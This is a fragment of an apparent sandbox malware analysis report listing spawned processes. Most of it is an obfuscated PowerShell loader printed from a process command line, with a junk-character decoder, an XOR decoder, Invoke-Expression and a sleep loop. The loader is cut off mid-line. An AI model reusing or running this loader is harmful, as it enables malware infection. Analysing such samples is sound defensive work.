Target ID:	3
Start time:	17:07:27
Start date:	07/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff796640000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7860, Parent PID: 9996

General

Target ID:	4
Start time:	17:07:27
Start date:	07/06/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c dir&echo ###RSHELL.EXE###
Imagebase:	0x7ff6224b0000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 10952, Parent PID: 7860

General

Target ID:	5
Start time:	17:07:27
Start date:	07/06/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff796640000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 1604, Parent PID: 9996

General

Target ID:	6
Start time:	17:07:28
Start date:	07/06/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Loftma = """ FAuJn cPtGi oEnh k oUnStbabkHt aCn n 1P1L M{ B P b p a r a m (C[BSHtTrNiEnAg ] `$ SDo oSn y s )G;S K`$ C hCiSrBoJm a P=K M'M'A; WUr iBtSe -aHPo sFtG B`$ C hDiKrUoDmUaP; WPrSi tIe - H o s tB `$ Cbh iAr oFmCa ;J WPrAiKtAeU-MH oSsSt `$ CEh iSrSosmJa ;M R A G`$ Mbe sPo =T TNFe wU-AOIbBj eBcGt CbDyAtie [ ]O T(O`$NS o o n yCs . LOegn gStChm / d2S) ;I S UF o r ( `$UAPcrtYuCa tZeBdSpB= 0 ;M H`$AAKcFtSu a tRe dAp -GlAtU M`$ SnoSoRnPyFsS.BLSeCnBgStvh ;I `$CA c tMu artseRdMpB+ =L2D)L{f `$ GblKo s eHfHoSrNrPa R=B `$FS oPo nLyFsP.DSTu bKs t r iRn g (K`$TABcZt uFaCt eMd pC,G 2 )T;U O B l O C G B`$AM eSs o [S`$sA c tMuOa tEe dNpW/ 2C]O E=S U[ cRoOnMvHeUrPtT]H:k: T o BSyUt eS(M`$RGUlUoUsFeMf o r r at,C C1A6P)h;C U`$SS psa gThBeC = C(P`$RM ePsBo [ `$ AicAt uFaatGeKd pH/U2 ]U E-Nb x oBrG V2V0F2T)A;G R B`$HMAeAs o [ `$iA c t uBa tNe dSp /D2C]Z H=T b`$SSapKaSgPh eU;S D } Z[ SAt r i n g ]V[ISDySs t eMmL. T e xEt . E nLcSoWd iOnNg ]e: :SA SKCPI IH.LGOe tnSmt rTi n g (I`$pM e s oB)M;P} `$ I s nOaKdAiM0s= kEo nFtSaAkStMa n nk1C1S 'E9G9 BL3CBL9 B E A FsA 7DE 4BA ERA 6 AM6 'P; `$ ISsKnDaEdTiS1U=Hk oPnGt aEk tNa n nF1I1D 'I8S7DAF3 AO9UB 8DAS5 BH9SAS5FASCBBLECEA4 9PDmA 3TAH4FFE9HFU8LES4 9AFAAB4MB 9 APB AVCuAiFu8 4 ACB BOEFAG3RBOCPAFF 8 7 ACFTB EUAB2 AT5TAHE BS9 'F;I`$BIFsPn a dMi 2 =TkPo nAt aekBtRaLnRnK1P1T 'U8FDFABF BLE 9NA B 8 AA5 A 9P8SB ABEBA E B 8 A FCBB9 B 9V' ;D`$ IMsBnFa dHi 3S= k oCnUt aUkCtAa nEnP1 1 p'K9 9UBP3 B 9 BCEMAAF AU7 E 4F9 8OBSFSAK4DBTEGA 3NAL7 A FaET4 8 3SA 4FB ENACFABF8 A 5 B AR9 9 ACFPBM8IBBC Ai3SA 9KA FLBF9NE 4u8F2NABB AS4 A EUA 6AADFU9 8 AfFPA CA' ;S`$ IFs n a dPiI4K=OkToBnUtSa k tBaRnJn 1U1f K'MB 9 BIERB 8LA 3 AL4 AnD 'G;S`$UILs nAaGd iR5N=Kk o nlt aAkAtBa n n 1 1F S' 8SD A FCBUE 8H7 A 5 ACE BPFDA 6HABF 8S2TAAB AM4TAGE AF6 A FD'P;S`$ ITsPnNaSd iB6 = kSoFn t a kYtLaSnMn 1Q1T I' 9 8W9ZES9Q9 BRABA F Au9DA 3FA BPAK6N8S4FA BDA 7PA F EJ6FE A 8O2IA 3FAsEIA F 8 8 Be3B9 9 AM3 A DDEB6 E AL9 A B FSAU8TAD6 AC3TAD9N' ; `$CIWsCnlaKd iD7 =TkEoLn tSaDkFtJa n nR1 1C ' 9C8SB FKA 4NB EOAN3 AM7CA F E 6FEUA 8B7DAUBHAA4CA BOAODAAUFUAnEr' ; `$ I s nTa d il8E=Bk o n t aRk tFaCn nF1W1Z N'L9F8SARFSATCCA 6aA F AP9LBNEAASFSA EU8bETA FRAP6RA F A D A B BWEBACF 'S;R`$SI s nEa dTi 9R=WkQo nBt aMk tGaKn n 1 1 'B8 3ZA 4 8M7KAPFOAS7EAS5IBS8DBA3D8Y7SAM5 AMESB FMAD6 A FN' ;B`$BUDn dGeR0 =Fkoo nFtBaPk t a n nV1 1I 'P8 7 B 3H8SE ADFNA 6 ANFRAHDhAwB BCESAPF 9 EABU3SB AAA FS'D; `$PUpnAdmeF1O= kpoBnVtUa kStKaSn nS1S1 S'H8S9HA 6 A BFB 9SB 9FE 6GEDAB9 A B FMA 8RAS6 A 3AAA9DE 6 EsAM9 9MAvFNA B AI6 AEFDAMEAE 6AE A 8CBRAU4 B 9TAS3L8D9CAC6 ABBIBP9 B 9 EG6IE AR8SBRBPFDB E AT5I8 9 Aw6 AIBsBT9 B 9R'U; `$DU nkdCeR2K= kAo n tOackHtHa nRnV1A1F B'B8D3 A 4mB C A 5 AS1CA FF'f; `$ U nMd e 3 =HkIotn tSaCk tGain nL1M1C F' 9AAEB FNAQ8tAT6 AA3VAT9mE 6CEBA 8B2SAH3SABE APFF8K8 B 3N9 9GAG3wASD E 6 EbAt8 4AAHF BGD 9F9IAS6 AI5RBEE EI6NEEAA9 CAAS3 BK8HBEESBIFTAQB A 6D' ; `$RUNnRd eg4p= kSoAnTt a k t a n nC1 1 L'E9PCgAS3CBF8 BBESB FSA B AC6S8EB A 6TA 6BAP5CA 9P' ; `$BU n dOeS5A= kAoSn tMaOk tzaUnCnH1S1P 'IAP4 B EAAHE A 6 AS6U'S;T`$ UBn dMeS6H= k o nRtDa kSt aTnCn 1 1 D' 8 4VBSEO9LAIBE8 A 5 B E A FUAC9MBMEG9 CSAN3 B 8UBWEDB FtA BUAF6F8B7 ABF Am7sAR5sB 8 BD3V' ; `$HUOn d e 7 =Rk oSnPtua k t a nFnO1S1F 'S8U3E8 FN9M2 ' ; `$ UAn dPeZ8 = k oEnJt a kSt a npn 1 1 'H9H6h' ;P`$ SCl a dSr eAmK2 1P=Gk oMnBt a kVtRaUnTnK1 1T M'M9cFH9 9F8tFI9 8AFS9GF 8D'P; `$ PCeFd oUlDoBgBiVcK2A3S=CkLoFnGtAa kStGaUn nS1 1D U' 8T9PA BPAU6SA 6C9CDFAI3GAV4 A ENA 5 BDD 9DA BH8 A 5 AA9R8 BR'H; fKuSnScAtSi oSnF CfHkCp C{FPEaFr a m I( `$ U n s uB,S o`$PH eDnBvEePn dE)O W ; `$ GBoUl dCb r i cVkM0U n=Fk oSn tBaSkFtpaOnPn 1 1 b'UE Es8 6bB 9 AaF A 2OAMBPBa9SBSE AT3BA DSA 2SE AAFS7 E AFEU2D9U1B8UB BXA BPAS8IE AS5LAP7EA B AT3 Aa4F9 7AFu0EF 0 8 9ABSFSB 8BBT8rA FSAL4 BKES8UEFA 5VA 7CASBLAA3SAH4SE 4T8 DEAOF BNE 8TB BG9EBC9PADF As7CAa8CAI6OAe3KA FMBG9AEH2PEV3RE A BA6 E AS9ADKA 2 AkFSBL8DAIFVEF7S8 5 AB8aAT0 A FDA 9ABTE E APBA1PE AUETE 9O5RE 4 8 DPAA6FA 5 A 8 ALB AK6 8 BHB 9 B 9 APF Ae7FAH8BA 6mBP3 8k9 AHBSAT9SA 2 A FRETA E 7 8VBTAF4 A ESE AEETE 9 5 EV4R8A6LAC5 AN9DAsB BSE AS3IAE5 AO4 E 4 9 9dBYAMAU6 AS3 B ESEI2 E EK9 FMAI4 AFE A FPFD2 EH3G9 1SE 7SFSBC9E7NEW4P8 FTBMB BAFRALBBAG6 BV9 ET2OErEA8 3AB 9FAB4CA BFAKERAI3 FBATE 3sE ATBE7TE 3 E 4C8dDKAPF BSE 9SE B 3ZBRAAA F E 2GE EM8S3 B 9 AN4UAAB AME AS3 FTBREI3U'U;F.m(O`$ Urn d e 7E) `$ GFoSlMd bCrDiTcDkc0G; `$ G oNl dDb rTiBc k 5 C= Mk o nStIa kttBaTnMn 1 1V 'REAEB9 9RBSA AA3 A 6SAfEhA 3 A 4uABE B 9 ESATFU7SELAFE E 8 6FBU9BAdF AF2 A BRBP9AB ESAP3 A DSA 2 E 4 8 D A FHB EP8 7CAPFMBEEBA 2AAS5NALECEH2SE EB8I3GBR9FAT4PA BTAPESA 3 F 8nEI6PE AF9K1d9MEIBt3AB A ASFE9P1 9S7F9O7OE AE8SA EJ2ME E 8P3IBJ9 AB4EAHBPAVE A 3TF 9CED6CEtAWE EG8M3BB 9hA 4 AMBGAME Ae3 F E ES3BEA3O'S; .T( `$IUTn dDeh7F)B B`$AGSoElVdLbIrRiAcPk 5M;u`$ GNobl dFbIr iac k 1 O=C AkSoon t a k t a nPn 1B1 'GBU8 AVFGB EPBDFNBP8FA 4SEMA E E 9G9TB ACA 3BAS6CAAESAK3BA 4 AMEDBU9EEP4T8 3SA 4TBSCFA 5CA 1 ASFMEE2IE E AU4IBOF A 6PA 6CE 6 ETAR8 A E 2t9G1G9f9SB 3 B 9fB EPAFFPA 7 Ey4 9 8DB FNAf4 BFE A 3KAF7tATF ES4 8 3FAC4 B E A FDB 8DA 5DBIA 9A9 ATFSB 8OB CLA 3 AF9 ARFUB 9 ED4 8 2FAKBrAI4JANEPAD6SA FO9 8 AVF ASC 9P7TE 2B8B4NA FOBSDSE 7V8 5SAS8MA 0 A F A 9PBUE EDA 9 9NB 3PBU9 B E A FOA 7CEK4N9U8UBKF Aa4BBvE AB3EAH7TAIF EA4 8s3SAS4SBsE ASFSB 8EA 5 B AP9A9AARF B 8DBACTAE3 A 9WAcF BT9MET4I8 2SAHB As4PARE AP6SAUFO9D8SA FsA CsEC2 E 2S8A4SAAF BPD ES7B8 5 A 8LAP0 AVFPA 9 B ESECA 8 3SAm4MBcEU9PA B E B 8GEE3LES6 EUASE 2DE ER8 6 Ba9aAMF A 2FATBUBA9 B EDAA3BADDFAB2GES4 8 DIAUFbBTED8D7SARF BSEMAB2FAM5PA EkE 2TESEE8N3 BO9 A 4UAAB A E AD3UF FUET3SE 3 ER4I8 3KA 4PBBCKA 5 AP1 A F E 2uESEBA 4 B FTAD6JAS6 E 6BEUAK8 ASEu2 EHEB9FF A 4 BK9HBSF EM3KEL3 EP3AEE3PE 6 E AHE Et8 2TAnFUA 4 BEC AsF AL4 AJE E 3 E 3S' ;T. ( `$ UAnPdAeA7T)S b`$DG oGl dPbMr iRcSka1 ;E} fRuSn cDtOiAo nS VGRD TM C{ P aUrWaBmD ( [ PGaPr a mVeStTe rT( PAo s iOt iEoKnf h= 0P,R MPaLnHdDaPtRoTrAy a=S M`$MT rOuCe )S] E[ TUyLpJeH[S] ] U`$ HMgStPn iLn gSePr 8L3U,T[SP aKrDaOmKeEt e rD( P o sCi t i oDnH G= 1 )R] [RT y pPe ]H `$FSBuBp pso r tElVeT P=R G[ VLoTi dF]A)A;P`$ GFoKlRd b rGiAcKkF2 = wkAoSnSt a kGtfaKnNnP1 1E G' E EP8G2AB 3BA D B 8SA 5 BJELA 2 A F ESASFP7 EEA 9O1M8OB B A B AV8EE A 5 Ag7CAYBEA 3 AS4F9B7PFP0 F 0T8 9 BWFNB 8PBS8 A FSAB4 B E 8 E Ad5 A 7AA B A 3FA 4UET4s8SEAA F A C AB3 Ai4LAHFO8 E B 3OAO4 A B AA7CA 3SAC9 8 BFBF9KB 9 AKFRA 7 AS8BA 6 B 3UEV2 E 2U8N4YAAF BMDAEC7 8M5HA 8FAM0 ASF A 9MB E ENAK9 9MBS3 Br9 B E AEFHAI7 EG4a9P8 ALFsA C AP6WA F As9 B E A 3 AS5TAR4VES4 8 BmBM9PB 9FATFSA 7 AL8MA 6UBw3I8B4LA B AT7cAAFTE 2 ESE 8 3ABT9AA 4 APBPATEIAN3 FU2DED3 E 3 E 6 E A 9H1D9 9BBu3 B 9TB E A F AL7IEF4 9A8LA FKAKC A 6 ASFSAl9 B EDAA3SAT5 An4FE 4 8UF AF7 A 3 B E ER4 8 B BS9 B 9 ACFEA 7iAE8DAK6LBi3 8 8 BMF AA3 A 6UA E A F B 8 8HBOAU9DAK9 AFFHBK9TB 9 9 7 FT0aF 0 9 8BB FHAO4DEC3TEU4Q8sErAMFTAGC AT3sAR4BA FC8 E BR3 AF4DA B AM7SAi3MA 9 8D7 AS5DAOE BUFHAR6JA FSEs2 EvEP8H3EBU9FAS4BA B AKEPAK3iF 3 EC6 EaAFE E A CMAGBDAC6IBC9PABFFE 3TEU4t8PEAABFhAMC A 3EAF4BA F 9KEKB 3FBFA A FKE 2CETE 9PFUAa4HA E AWFPF A E 6SE A EGEm9 FAA 4 A E A F FDBCE 6CE A 9W1T9n9SBt3 Ba9sBAEtANFTA 7RE 4A8S7HBKF A 6FBAE AA3OA 9IATBGBK9UB EW8 E ABF AA6 AUF ASDNASB BOE A FB9 7JEA3H'D; . (D`$DU n dUe 7U) l`$aG o lDdVbNr iSctk 2H; `$ GCoDl d b rLiacUkA3 B= kUoFn t aRk t a nGnT1U1 A'SERES8t2ABV3DAAD BK8MA 5CB ESA 2 AOFAED4U8mEEAAFSA C AM3HAD4 A FC8P9CAL5 A 4CBR9FB E B 8 B FPAH9 BRETAM5LB 8 ET2 E EE8L3 BV9jA 4BA B ABEOAB3sF CMEQ6WELAW9K1S9 9 BA3AB 9 BPE A FSAS7CED4P9 8 A F AUCSA 6 AVFPAS9 B E AB3HAR5BAB4dE 4 8J9AAHB A 6IAS6DAL3 AC4HAHD 8C9CAa5UAF4 B C A F AG4FBIEEAC3 AK5 A 4HBB9S9 7VFN0 FP0D9a9oB ESAEBEA 4EAGE A B BJ8 ACE EC6BE AKE ET8 2SA DFBTE AA4BAG3SA 4SASDSASFMB 8 F 2 F 9 E 3TE 4M9 9 ASFCBTE 8 3 A 7 BBA A 6BALFSAH7 ARFTA 4AB E AMBJB E Ac3PA 5RAg4P8 CZAF6GAiBKAbDNBC9TEU2CESEC8I3 Bu9SA 4CASBOA E AM3 FUDBES3T'C;A. (S`$ UCnSdTeK7S)O `$BGHo lVd btrSiAcFkV3 ;C`$ GHo l d bLrAiDcBkL4K D=F Fk oSnHtIa kBt aMn nT1F1V ' ESEM8U2 BF3 APDIBS8NA 5UB ELA 2 AHFTEB4B8 EFAFF ATCFAO3SA 4 ASFC8D7LAgFtBEEHA 2 AD5FA E ED2EEFEP9FF AQ4 ASE AUFNFA8OE 6 E AAE EF9FFUAE4sA E ARFAF 9FEV6 EKA E ES9 9NB F B AkB ABA 5TBS8 BFEbAA6NA FME 6DE AGEfE 8O2CAPDMB ELA 4SA 3PAF4MALDdAfF Bi8 F 2FF 9UE 3 ET4F9p9AA FBBOE 8T3 AT7 BRA A 6 AmFIAC7 AAFSAP4TB ERA BIB EEA 3 AN5IA 4A8 CbAC6CA B A DCBS9CEM2gEHET8 3BB 9 AG4 ASBSA E AI3 F D EI3U'A;C.D(b`$KUUnMdHeH7 )P `$GG oKlDdPb rti c k 4 ; `$ GSotlAdHb r i c kl5M S=S UkLoAnBt aSkRt a nRn 1 1 'EBS8 AsFEBSEtBBF BG8 AP4IESAAEIEM8K2SB 3LAUDCB 8KAR5EBBEBAF2 ASFRED4 8I9ABT8 A F ADBHB ECADF 9eEfB 3PBUA ARFFEE2REu3P'T;R.f(N`$MULn dheB7 ) `$FG o l d b rSi c k 5S G F; }T`$RUUnTd e rSl =C Rk o n tSaMk tUaNnFnR1U1 R'dAE1 A F B 8YA 4 ARFcA 6 Fm9 FN8M'H; `$Bk oSnPtOaIk t aFnPnP0D3I = Nk o nKtSaCk t aDnBn 1 1N ' 8pDBAFFcBBEs8J9PAU5nAg4TBF9UAs5 AA6HAIFT9 D A 3GAI4 ADEBA 5 BUDK'F; `$ kgo nPt aAkFt aKnPnC0F0B=RkCo n t a kmt a n nV1 1B E'F9C9KA 2PAI5 BsD 9DDBAf3 AA4VASE A 5 BAD ' ; `$DkOoenDtEa k tNa nDn 0S1P P=a k o n tEaDket aCn nR1H1 S' E Et8FCNAaF AS6 A 6BE ASFR7SELAB9E1O9N9HBP3 BC9ABTE AuFDAG7BE 4A9 8ABIFkA 4SBTESAC3LAS7FA FGEU4A8 3BAU4SBsERALF BV8 AS5WB AT9 9 ASF B 8HB C A 3 AF9 AFF B 9SE 4E8T7KAMB BU8 B 9AAC2BA BFAP6s9 7 FB0 FD0 8GDCALFJB Ej8 EFA F AX6FAmF AiDSABB B ERAVF 8 CBAL5 Bt8 8BCbB FPAB4 AK9 B EZAI3 A 5OAV4t9 A A 5UAU3 AE4 B E ANFcBs8 EA2REU2EALC AG1TB A EGA E ER9W9 A 6 A BFA E B 8 AWFAA 7 FE8 FSB E A EfE A 1KAN5SAS4KBSEpA B A 1 BFE AGB Au4 AB4PFCAHFSAKE 3EEB6SEUA EN2U8PDF8AET9 EmELAU8 AOE 2P9 1U8K3 A 4BBEE 9 ABBEE BC8S9P7SEn6 EbAB9 1V9BFM8 3PAR4GB EKF 9SFe8T9K7ME 3TE A ES2 9 1G8K3 AS4KB ES9OA BBENB 8 9 7 E 3sE 3hE 3 ' ; . (A`$nU n dSeE7 )F K`$ kBo nBtKaTkAt aEn nB0M1 ;d`$ k oCn t aHkFtJa n nS0 2C D=S kSoDnVtCa kRt a nLnF1P1S C'PE EJ8SBABT8 AG9CAS2 AA3 BeE A 3PE A FP7PEMA 9 1O9U9mBK3lBn9BB E AOFDAS7FEp4P9N8 B F A 4 B E AM3bAM7 ATFSE 4 8 3RAS4KBKE ASFhBS8SA 5 BMA 9J9 AEF B 8 B CGA 3 AA9 A F BE9aEM4 8 7BAFB B 8 B 9LAG2FA BTAF6D9 7RF 0 FH0L8MD AFFHB En8sEMALFaAC6MAnFSACD AFBCBUErAVFD8 CFA 5OBS8G8DCGB F AV4EAF9 B EDAK3vAC5SA 4t9 A AR5tA 3 At4 BSESABF B 8FES2FES2 AWC A 1 BBAUEBADEVE 9HFBA 4 A E A F B 8CAC6SE ALEKEHA 1CAS5AAS4SBSE A BBAB1FBKE ASB A 4 A 4 FNAMF 9PEO3FE 6SEBAFEI2s8TD 8LE 9SEREMA 8DAGEo2T9 1A8b3EA 4 BSEL9fATB EMBB8 9 7 EE3SE AEEv2U9 1S8A3AA 4EBUEU9dAiBDE B 8 9 7RE 3YEB3 EG3 'o;R. (F`$FU nMdJeR7D) B`$Bk ognutSaBkItRaPn nS0D2 ;P`$UGPoRlUdSbvrDipcSkM7D W= HkfoInbtNa kNt aPnNnS1O1S 'uE EU8UE A B AOD BFASA FOAN4TAPDUA FSAC6 AP5LFC2 EmACFU7sE ANE EV8DBiBD8TA 9SAA2 A 3 BPESA 3CE 4l8M3SAT4WB CtAI5RAi1MA FPEK2PFLA EH3 'B; . (H`$ UFn dgeJ7t) p`$ G oPlDd bBrIiHcGk 7I;J`$PG oGlAdLb rKiVcbkr7V =S DkAo n t a kUtEaVn nH1A1 ' ESE 8 C ATF AT6MAU6 Eb4S8 3bAK4FBTCMAL5RAK1aAAF E 2HEHEC8 EBA B ASD B A ABF AE4rAEDHA FRA 6MA 5AF 2 Ej6BEBA FSA EC3P' ;B.i(p`$ UAnGd eO7F) S`$CG o lLdDbbrNiAcHk 7P; `$ G oUl d bBrDi cCk 6F =F Ak o n tSa kSt a n n 1 1 U'VE E ANEBAWFHA 7LAP3HAH4 ASF B 8 A BHAH6 ECAnFK7EEFA 9 1 9s9SBa3 B 9SB E A F AM7FE 4B9m8 BUFBAS4SB E A 3 A 7 A F EB4L8 3 A 4PBKEMA FFBL8OA 5SBDA 9N9 A FSB 8FBSCFAR3FA 9FA FPBf9 EE4F8 7KABBIBD8BBB9FA 2SATBJAP6M9H7SFT0MF 0E8FDSA FsB E 8 E AbFNA 6AAKFAA DGADB BAErASFT8VCKA 5 BW8 8RC BVF AP4MAC9BBWEEAp3TAM5sAS4r9 ASAb5PAE3AA 4dB ESA F BD8sE 2bEO2 AIC Aa1 BTAEEMAqE E 9TF A 4 ARE ATFSB 8 AS6BEBACEIE 9SFSAO4CA EEA F F EBEG3LE 6FESABE 2B8SD 8BEL9 E E Af8MABE 2O9 1E8P3BAA4SB ES9MAEBCE BD8 9 7PEE6 EUA 9 1R9fF 8 3PA 4OB E FO9bFS8P9R7 E 6 E A 9 1E9AF 8 3 AB4vB ETF 9 Fe8K9 7SES6 EGAB9M1 9EF 8T3oA 4HB EPFN9AF 8 9 7AE 3 E AKES2S9 1L8 3DAU4 BPE 9lA BKESBD8O9 7 E 3AE 3OE 3 ' ;U. ( `$SUKnGdIe 7N) O`$ GUoJl dsbPr iWclkS6P; `$VB uPlRmBe uUr t R= Cf k pI O`$AU n dSe 5O `$GU nFdBem6F;M`$ G oRl d bPr iScCkM7 b= Fk oRn t a k t aSnDnK1 1U ' ESE 9 9VB ERAHBPA 7SBRAPBkD AKF A FFA EDAEBOFb9 EMA F 7LERA EPEFAJESAIF AA7 AL3FA 4HA FDB 8SA B A 6 E 4F8 3FAT4CBVC AE5BAR1 A F Ea2S9A1L8 3FA 4DBSEM9MA B ESB 8 9F7 F 0GFH0 9c0MA F BS8AAI5EER6SEUA FPCVFpC F B Ea6SEdAFF AmB 2DFM9AF ATFKA F AREM6VESAAF A B 2SF E FSAPEF3H'S; . ( `$WUGn d eB7V) A`$ GEoNlDd bCr iUcBkc7I; `$sGAoGl dVb rPiUcdkO8 O=D BkAoDnRt aSkStMaOn n 1 1 'KEPE 9IA BM8NAMBWBBE BUEUA 3 E ACF 7 EUA EIEtACEFAbFPAS7 AS3LA 4OARFSB 8 ATB AI6 ET4P8A3VAM4kB C AK5 AP1 ABF EA2L9 1R8 3 A 4 B ET9SAFBRESBP8 9 7 F 0KFD0N9F0 A FCB 8PAH5ME 6 E APFL2BFLE F ACF ESFTBIFSD F 8BF 2UEH6HE A F ADB 2 F 9 FBA FGASFDAAE 6PEAAKFBAABE2FFUEWE 3 'B; . ( `$HUHnRdSe 7 ) `$ GOoTl dKb r idcCkP8E; `$TkBo n tfa kut aMn nJ0K1T =K kUo nTt aSkmtga nHn 1L1 ' Ap2CB EEBEE BNASB 9MF 0BER5tEV5 B B BTFFA 3 A 9 A 1 AS9AA 2UA F A 9 AE1SB 2SE 4AAGDNA 3UB EBA 2VBEFSAB8SE 4 A 3 A 5 EN5FB BEBFFaA 3PA 9 AF1 AF7 ADF EF5 9 ABAEBdA 4 Bk0TAEF B 8UB 9DBEERAS3IEA4 A 6pBJATAi1v' ;A`$ kzoBn tRaKk t a nKnH0 0 k=V kPo n tEaGkltSaJnSn 1 1U G'FE E 9 9 AMBMAD6FAFB EUA FR7CE A EB2 8V4 ALFGBSDFE 7 8O5OA 8MAA0AADFRAS9 BHEfEIA 8S4SA F B EBEU4 9DDSA F A 8B8 9 A 6FAX3 AaF A 4 BPE EO3NE 4B8pE A 5 B DKAt4UA 6UAB5AA BSARES9e9 BrECBV8CA 3uAS4LA DDE 2CE EBAA1EAU5 AR4 BPE APBSA 1LBcE AFBPAR4 Ah4 FBAHFVB ET3S'S; `$CG o l d b rRiUcDkR8 K=M GkBoMn t atkDtVaBnSnF1 1A 'CE EN9 9RBIETASB A 7EBTASB D ABF A FSAAE ALBEF 8 FS7 E E A FPA 4 B C FT0EA B BAAPB A A ECA BBB EBATB 'H;B. ( `$FU nRdEe 7 ) `$ GAo lTdSb r iCc k 8 ; `$HSOtNaAmBp wSe e d aF2 = `$ S tCaMmBp w e e dBa 2 +S' \BTPoMp fToPrOmAeB.iS uBb ' ;R`$MSCa l a = 'y'S;iiNf (R-Kn o te(CTSeisat -PPDa t hc `$CSStBaVmSp w eSeTd aT2 )U)B S{ w hUiNlMeO ( `$PSAaPl a -HeGqS 'C'a)S { .R(K`$MUKnBd e 7M) `$TkRoGn t aSk tSaRn nT0O0t; SHt aAr tS- SBlHe e p s5 ; }cS ertF-gCMo n t eMn ts `$FS tGaPmFp w e eJd ak2 N`$SS afl aU; }E`$SSRaSl aT =M GceNtS- C oFnPtSeCnHtS C`$mSBt a mTpPw e e d aS2M; `$ GaoTlPd bAr i cSkO9F T=F k oVnCt adk t aUn n 1 1R U'PESE 8 DfA 5EA 6 A EBAS8 B 8TA 3 AV9 A 1 E ASF 7CE AS9O1K9 9OB 3KB 9GBBE A FKAI7BEO4 8C9CAA5 A 4 B C A F BS8 B EH9P7TFG0SFT0 8 C Ba8wAB5 AA7 8 8dARBKB 9UAOFPFBC F E 9 9 B E B 8BA 3 AF4KA D E 2IEPES9 9DAMB A 6TASBSE 3U' ;T. (K`$OU nSdOeB7F) `$SGBonlPdUbFrAiWcUkG9N; `$ASMaZlIa 0J = k o n tSaNkIt a nDnN1 1D ' 9 1C9 9PBS3OBI9 B E ADFAAM7mE 4K9H8 B FMA 4 B EIAV3PA 7EARFaET4S8C3BA 4 BSELA FSB 8 AA5KBAA 9C9KA FLBT8UBSC AA3sAU9 ADFEB 9 ER4M8 7 ARB BF8MBF9rA 2 ACBFA 6E9 7 F 0 F 0 8P9 AN5xBIALBC3 EP2OE EO8SDPAP5 A 6 AEE AS8 BC8LAF3LAB9aAA1REY6 EpA FGACEu6 EFA E ADEPER9 9 B E AIB A 7 BRABB DVALFOA FTASEOAHBSF 9 EP6JE AUFSCBF CFFSB E 3L' ;N. (B`$ U n d eC7C)I S`$KSRanlFaN0 ; `$SsRtHa n dI=T`$ GSoSlsdMb rti cJkp. cMoRuPn t - 6 6 1S;U`$CSoaLl aI1 A=S Sk o n tTaGk tSaHn n 1K1B ' 9I1T9C9MBB3 B 9 B ECAAFSAM7 E 4 9f8 B FoAC4LB E A 3CA 7UADFTEP4 8 3 AR4 BpEcABFSBG8TAS5 B AS9 9IAGFLB 8GB COA 3EA 9CACF BS9 EB4 8A7CA B B 8GB 9TAM2FAABGAS6 9 7 FR0AFI0C8 9NA 5UBEAKBU3ME 2 EDEB8 D AT5TA 6FA E A 8TBP8FAF3 A 9TAE1BEH6FEgAVFSC FDCTFVB E 6 E A EMES9SAWB 8RA B BOEFBGE A 3TE 6 E AREGESBI9ABBEsACB A 4FASECEI3M' ; .U( `$TUCnMdCe 7O)T I`$ SFaPl aC1 ; `$CSTaHlMa 2G d= kRoHn t aFkMt a n n 1R1 P' EOEN9K0 A FaA 8CBM8 AK3AA 4 ArB E AsFZ7UEiA 9U1F9 9 B 3 BA9 BMESAFFDA 7BE 4O9A8FB FMAT4ABAEBA 3FAA7 A F ES4L8i3 AE4BB EkA FIBW8 AM5EBAA 9 9EAHFIBA8 B CBA 3LA 9 A F B 9SEa4 8 7SAbBKB 8TB 9 A 2SAEBOAB6B9 7 F 0DF 0D8UDRAHF B E 8HEAANFsA 6 AGF A DCAUBUBOEZA FF8WCmA 5SBN8P8 CSBTFHAS4 A 9BBkESAI3 AH5SA 4C9RAVA 5HAB3 A 4 BSEBA FCB 8FE 2 ER2YAPCOA 1SB ASETALETEa9B9RAK6 A BWASE BB8GAKFOAB7 F 8BFCB EAAVE E 9DAKA FKAMEUA 5AAF6 A 5 AAD AA3 AR9MFD8IFt9 EH3REC6 E AREf2N8TD 8cEC9SENE AR8sA EI2S9 1 8 3 A 4DBGES9MABBDEFBZ8J9E7REL6SE A 9M1O8s3MA 4 BHES9KAUBUE B 8G9G7REU6 EKA 9S1F8H3 AP4 B E 9TAGB EOBd8S9T7CES6SEFA 9D1K8S3eA 4RBSEH9 ACBAEGB 8 9M7KE 6HETAC9S1T8F3DAH4GBEE 9BAuB EGBS8S9I7IEI3SEBATEF2f9B1 8 3 AD4FB E 9GANB EVB 8u9A7TEG3 E 3 EF3F' ; .s(P`$ U n dMeP7 )P `$oSMa lRa 2 ; `$ SLaRl aK3 G=B Sk o nFt a k t alnDn 1S1O I'KEKES9R0SACF AF8TBA8BA 3EAB4OAEBOE 4H8H3AAE4 B CCA 5pAL1BAXFmEF2 E EF9 9UB EFARBAA 7TBfAsBoDFA FAAPF AAEUA BBFB9OEU6 EMEA9eANBC8oAIBaBAEgBIEWAF3EEI6 E E 8S8 BSFOAA6 A 7AA F BNFBBM8tBpESEC6 FSA EB6IF A E 3L'U; .N( `$ Uvn d eM7 ) A`$LSAaClUas3 # ;""";Function Sala9 { param([String]$Soonys); For($Actuatedp=1; $Actuatedp -lt $Soonys.Length-1; $Actuatedp+=(1+1)){$kontaktann = $kontaktann + $Soonys.Substring($Actuatedp, 1)}; $kontaktann;}$Spiroch0 = Sala9 'DIDE XH ';$Spiroch1= Sala9 $Loftma;if([IntPtr]::size -eq 